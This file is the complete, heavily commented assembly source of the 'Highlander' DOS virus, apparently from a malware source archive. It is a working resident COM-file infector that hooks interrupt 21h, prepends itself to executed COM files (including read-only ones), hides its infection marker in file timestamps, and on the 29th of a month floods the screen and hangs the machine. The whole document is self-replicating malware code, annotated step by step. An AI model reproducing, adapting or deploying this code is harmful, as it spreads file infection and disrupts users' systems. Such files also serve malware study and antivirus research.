MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.highland.asm
2021-01-12 17:44:11 -06:00

423 lines
21 KiB
NASM

;HIGHLAND.COM
;This is the HIGHLANDER Virus version 1.0.
;This virus is a generic, parasitic, resident COM infector. It will not
;infect command.com however. It is not destructive but can be irritating.
;Interrupt 21 is hooked.
;This virus is to be assembled under TASM 2.0 with the /m2 switch.
;When an infected file is executed, the virus code is executed first.
;The virus first checks to see if the virus is already resident. It does
;this by setting the AH register to 0DEh. This subfunction is currently
;unsupported by DOS. Interrupt 21 is then called. If after the call, AH is
;unchanged, the virus is not resident. If AH no longer contains 0DEh, the
;virus is assumed to be resident (If the virus is resident, AH will actually
;be changed to 0EDh. This is never checked for, only a change from 0DEh
;is checked for). If the virus is already resident, the executing viral
;code will restore the host in memory to original condition and allow it
;to execute normally. If however, the virus is not resident, Interrupt 21
;will then be trapped by the virus. Once this is accomplished, the virus
;will free all available memory that it does not need (COM programs are
;allocated all available memory when they are executed even though they can
;only occupy one segment). The viral code will then copy the original
;environment and determine the path and filename of the host program in
;memory. The viral code will then shell out and re-execute the host
;program. The virus is nearly resident now. When the virus shells out
;and re-executes the host, a non-supported value is passed in the AL
;register. This is interpreted by the virus to mean that the infection
;is in transition and that when the host is re-executed, to assume that the
;virus is already resident. This value is then changed to the proper value
;so that the shell process will execute normally (INT 21 is already trapped
;at this point). This shell process is invisible, since the viral code
;so successfully copies the original environment. Once the host has
;finished executing, control is then returned back to the original host
;(the viral code). The virus then completes execution by going resident
;using interrupt 027h. In all appearances, the host program has just
;completed normal execution and has terminated. In actuality, the virus
;is now fully resident.
;When the virus is resident, interrupt 021h is trapped and monitored.
;When a program is executed, the resident virus gets control (DOS executes
;programs by shelling from DOS using interrupt 021h, subfunction 04bh).
;When the virus sees that a program is being executed, a series of checks
;are performed. The first thing checked for is whether or not the program
;to be executed has 'D' as the seventh letter in the filename. If it does
;the program is not infected and is allowed to execute normally (this is
;how the virus keeps from infecting COMMAND.COM. No COM file with a 'D'
;as the seventh letter will be infected). If there is no 'D' as the seventh
;letter, the virus then checks to see if the program to be executed is a
;COM file or not. If it is not a COM file, it is not infected and allowed
;to execute normally. If the COM file test is passed, the file size is then
;checked. Files are only infected if they are larger than 1024 bytes and
;smaller than 62000 bytes. If the file size is within bounds, the file
;is checked to see if it is already infected. Files are only infected
;a single time. The virus determines infection by checking the date/time
;stamp of the file. If the seconds portion of the stamp is equal to 40,
;the file is assumed to be infected. If the file is infected, the virus
;then checks the date. If it is the 29th day of any month, the virus will
;then display its irritating qualities by displaying the message
;'Highlander 1 RULES!' 21 times and then locking the machine and forcing
;a reboot. If the file is not infected, infection will proceed. The
;virus stores the original attributes and then changes the attributes to
;normal, read/write. The file length is also stored. The file is then
;opened and the first part of the file is read and stored in memory (the
;exact number of bytes is the same length as the virus). The virus then
;proceeds to overwrite the first part of the file with its own code. The
;file pointer is then adjusted to the end of the file and a short
;restoration routine is copied. The original first part of the file is
;then copied to the end of the file after the restore routine. The files
;time/date stamp is then adjusted to show an infection (the seconds portion
;of the time is set to 40. This will normally never be noticed since
;directory listings never show the seconds portion). The file is then
;closed and the original attributes are restored. Control is then passed
;to the original INT 021h routine and the now infected program is allowed
;to execute normally.
;This virus will infect read-only files.
;COMMAND.COM will not be infected.
;It is not destructive but can be highly irritating.
.model tiny
.code
IDEAL
begin:
jmp checkinfect ;jump over data to virus code
data1:
dw offset endcode+0100h ;address of restore routine
typekill:
db 01ah ;kills the DOS 'type' command
version:
db 'v05' ;virus version number
data2:
dw 0,080h,0,05ch,0,06ch,0 ;environment string for shell process
data3:
db 'COM' ;COM file check
data4:
db 0,0,1,0 ;data preceeding filename in environment
data5:
db 'Highlander 1 RULES! $' ;irritating message
restcode: ;restoration routine to restore host
rep movsb ;move host code back to original loc
push cs ;setup to transfer control to 0100h
mov ax,0100h
push ax
mov ax,cx ;zero ax
ret ;transfer control to 0100h and allow host
;to execute normally
checkinfect: ;check to see if virus already resident
mov ax,0de00h ;unsupported subfunction
int 21h
cmp ah,0deh ;is it unchanged?
je continfect ;yes, continue going resident
;no, already resident, restore host
restorehost: ;setup for restore routine
mov di,0100h ;destination of bytes to be moved
mov si,[word data1+0100h] ;address of restore routine
;(original host)
push cs ;setup for xfer to restore routine
push si
add si,checkinfect-restcode ;source of bytes to be moved
mov cx,endcode-begin ;number of bytes to move
ret ;xfer to restore routine
continfect: ;continue infection
mov ax,3521h ;set ax to get INT 21 vector address
int 21h ;get INT 21 vector
mov [WORD int21trap+1+0100h],bx
;store address in viral code
mov [WORD int21trap+3+0100h],es
;store segment in viral code
mov dx,offset start+0100h ;set dx to start of viral code
mov ax,2521h ;set ax to change INT 21 vector
int 21h ;change INT 21 to point to virus
mov [word data2+0100h+4],ds ;copy current segment to env string
mov [word data2+0100h+8],ds ;for shell process
mov [word data2+0100h+12],ds
push ds ;restore es to current segment
pop es
mov bx,offset endcode+0100h ;set bx to end of viral code
mov cl,04 ;divide by 16
shr bx,cl
inc bx ;INC by 1 just in case. bx is number of
;paragraphs of memory to reserve
mov ah,04ah ;set ah to release memory
int 21h ;release all excess memory
mov ds,[word 02ch] ;get segment of environment copy
xor si,si ;zero si
cld ;clear direction flag
tryagain:
mov di,offset data4+0100h ;point to data preceeding filename
mov cx,4 ;data is 4 bytes long
repe cmpsb ;check for match
jne tryagain ;if no match, try again
mov dx,si ;filename found. set dx to point
mov bx,offset data2+0100h ;set bx to point to environment string
mov ax,04bffh ;set ax to shell and execute. AL contains
;an invalid value which will be interpreted
;by the virus (int 21 is now trapped by it)
;and changed to 00.
cld ;clear direction flag
int 21h ;shell and re-execute the host program
mov dx,(endcode-begin)*2+0110h
;set dx to end of virus *2 plus 10. This
;will point to the end of the resident
;portion of the virus
int 27h ;terminate and stay resident
start: ;start of virus. The trapped INT 21 points
;to this location.
pushf ;store the flags
cmp ah,0deh ;is calling program checking for infection?
jne check4run ;no, continue on checking for execution
mov ah,0edh ;yes, change ah to 0edh
jmp cont ;jump over rest of viral code
check4run:
cmp ah,04bh ;check for program attempting to execute
je nextcheck ;yes, continue checks
jmp cont ;no, jump over rest of virus
nextcheck:
cmp al,0ffh ;check if virus is shelling. 0ffh will
;normally never be used and is used by
;the virus to shell the host before it is
;fully resident. This prevents the virus
;from shelling twice, which will work but
;lose the environment and cause problems.
jne workvirus ;normal DOS shell. Jump to virus meat.
xor al,al ;virus is shelling. zero al.
jmp cont ;jump over rest of virus
workvirus:
push ax ;store all registers subject to change
push bx
push cx
push es
push si
push di
push dx
push ds
push cs ;store the code segment so it can be used
push cs ;to set the ds and es registers
pop ds ;set ds to same as cs
pop es ;set es to same as cs
mov dx,080h ;set dx to offset 080h
mov ah,01ah ;set ah to create DTA
int 21h ;create DTA at 080h (normal DTA area)
pop ds ;set ds to original ds
pop dx ;set dx to original dx (ds:dx is used to
;point to the path and filename of the
;program to be executed)
push dx ;store these values back
push ds
xor cx,cx ;zero cx
mov ah,04eh ;set ah to search for filename match
int 21h ;search for filename (this is primarily
;done to setup data in the DTA so that it
;can be checked easier than making a
;number of individual calls)
push es ;store es (same as cs)
pop ds ;set ds to same as es and cs
cmp [byte 087h],'D' ;check for 'D' as seventh letter in file
jne j5
jmp endvirus ;if 'D' is 7th letter, dont infect
j5:
mov si,offset data3+0100h ;set source of bytes to compare
mov di,089h ;set destination of bytes to compare
mov cx,3 ;number of bytes to compare
cld ;compare forward
repe cmpsb ;compare bytes (check to see if file's
;extension is COM)
je j1
jmp endvirus ;not a COM file. Dont infect
j1:
mov bx,[word 009ah] ;set bx to length of file
cmp bx,1024 ;is length > 1024?
jae j2 ;yes, continue with checks
jmp endvirus ;no, dont infect
j2:
cmp bx,62000 ;is length < 62000?
jbe j3 ;yes, continue with checks
jmp endvirus ;no, dont infect
j3:
mov ax,[word 096h] ;set ax to file's time stamp
and ax,0000000000011111b ;clear everything but seconds
cmp ax,0000000000010100b ;is seconds = 40?
jne j4 ;yes, continue with infection
mov ah,02ah ;no, set ah to get the date
int 21h ;get current system date
mov cx,21 ;set cx to 21
cmp dl,29 ;is the date the 29th?
je irritate ;yes, continue with irritate
jmp endvirus ;no, let program execute normally
irritate:
mov dx,offset data5+0100h ;point dx to irritating message
mov ah,09h ;set ah to write to screen
int 21h ;write message 21 times
loop irritate
iret ;xfer program control to whatever's on
;the stack (this almost guarantee's a
;lockup and a reboot)
j4:
mov ax,[word 096h] ;set ax equal to the file's time stamp
and ax,1111111111100000b ;zero the seconds portion
or ax,0000000000010100b ;set the seconds = 40
add bx,0100h ;set bx = loc for restore routine (end
;of file once its in memory)
mov [word data1+0100h],bx ;store this value in the virus
mov bx,ax ;set bx = to adjusted time stamp
pop ds ;get the original ds
push ds ;store this value back
mov ax,04300h ;set ax to get the file's attributes
;ds:dx already points to path/filename
int 21h ;get the files attributes
push cx ;push the attributes
push bx ;push the adjusted time stamp
xor cx,cx ;zero cx(attributes for normal, read/write)
mov ax,04301h ;set ax to set file attributes
int 21h ;set files attributes to normal/read/write
mov ax,03d02h ;set ax to open file
int 21h ;open file for read/write access
mov bx,ax ;mov file handle to bx
push cs ;push current code segment
pop ds ;and pop into ds (ds=cs)
mov cx,endcode-begin ;set cx equal to length of virus
mov dx,offset endcode+0100h ;point dx to end of virus in memory
mov ah,03fh ;set ah to read from file
int 21h ;read bytes from beginning of file and
;store at end of virus. Read as many bytes
;as virus is long.
xor cx,cx ;zero cx
xor dx,dx ;zero dx
mov ax,04200h ;set ax to move file pointer from begin
int 21h ;mov file pointer to start of file
mov cx,endcode-begin ;set cx = length of virus
mov dx,0100h ;point dx to start of virus
mov ah,040h ;set ah to write to file
int 21h ;write virus to start of file
xor cx,cx ;zero cx
xor dx,dx ;zero dx
mov ax,04202h ;set ax to move file pointer from end
int 21h ;mov file pointer to end of file
mov cx,checkinfect-restcode ;set cx to length of restore routine
mov dx,offset restcode+0100h ;point dx to start of restore routine
mov ah,040h ;set ah to write to file
int 21h ;write restore routine to end of file
mov cx,endcode-begin ;set cx to length of virus (length of code
;read from beginning of file)
mov dx,offset endcode+0100h ;point dx to data read from file
mov ah,040h ;set ah to write to file
int 21h ;write data read from start of file to end
;of file following restore routine
pop cx ;pop the adjusted time stamp
mov dx,[word 098h] ;mov the file date stamp into dx
mov ax,05701h ;set ax to write time/date stamp
int 21h ;write time/date stamp to file
mov ah,03eh ;set ah to close file
int 21h ;close the file
pop cx ;pop the original attributes
pop ds ;pop the original ds
pop dx ;pop the original dx
push dx ;push these values back
push ds
mov ax,04301h ;set ax to set file attributes (ds:dx now
;points to original path/filename)
int 21h ;set the original attributes back to file
endvirus: ;virus execution complete. restore original
;values for INT 21 function
pop ds
pop dx
pop di
pop si
pop es
pop cx
pop bx
pop ax
cont: ;virus complete. restore original flags
popf
pushf
int21trap: ;this calls the original INT 21 routine
db 09ah ;opcode for a far call
nop ;blank area. the original INT 21 vector
nop ;is copied to this area
nop
nop
push ax ;after the original INT 21 routine has
;completed execution, control is returned
;to this point
push bx
pushf ;push the flags returned from the INT 21
;routine. We have to get them in the
;proper location in the stack when we
;return to the calling program
pop ax ;pop the flags
mov bx,sp ;set bx equal to the stack pointer
mov [word ss:bx+8],ax ;copy the flags to the proper location in
;the stack
pop bx ;restore bx
pop ax ;restore ax
iret ;return to calling program
signature:
db 'dex'
endcode: ;this file has been written as if it were
;a natural infection. At this point the
;virus is ended and we are at the restore
;routine. Following this is the host code
;which will be moved back to 0100h. This
;file could never actually be a natural
;infection however due to its small size
rep movsb ;start of restore routine. move host back
push cs ;set up to xfer to cs:0100h
mov ax,0100h
push ax
mov ax,cx ;zero ax
ret ;host is restored. xfer to start of host
hoststart: ;This is the host program. It consists
;merely of a simple message being displayed
jmp skipdata ;jump over message
hostmessage:
db 'The virus is now resident.$'
skipdata:
mov ah,09h ;set ah to write to screen
mov dx,offset hostmessage+0100h
;point dx to message to display
int 21h ;display message
mov ah,04ch ;set ah to terminate program
int 21h ;terminate program, return to DOS
END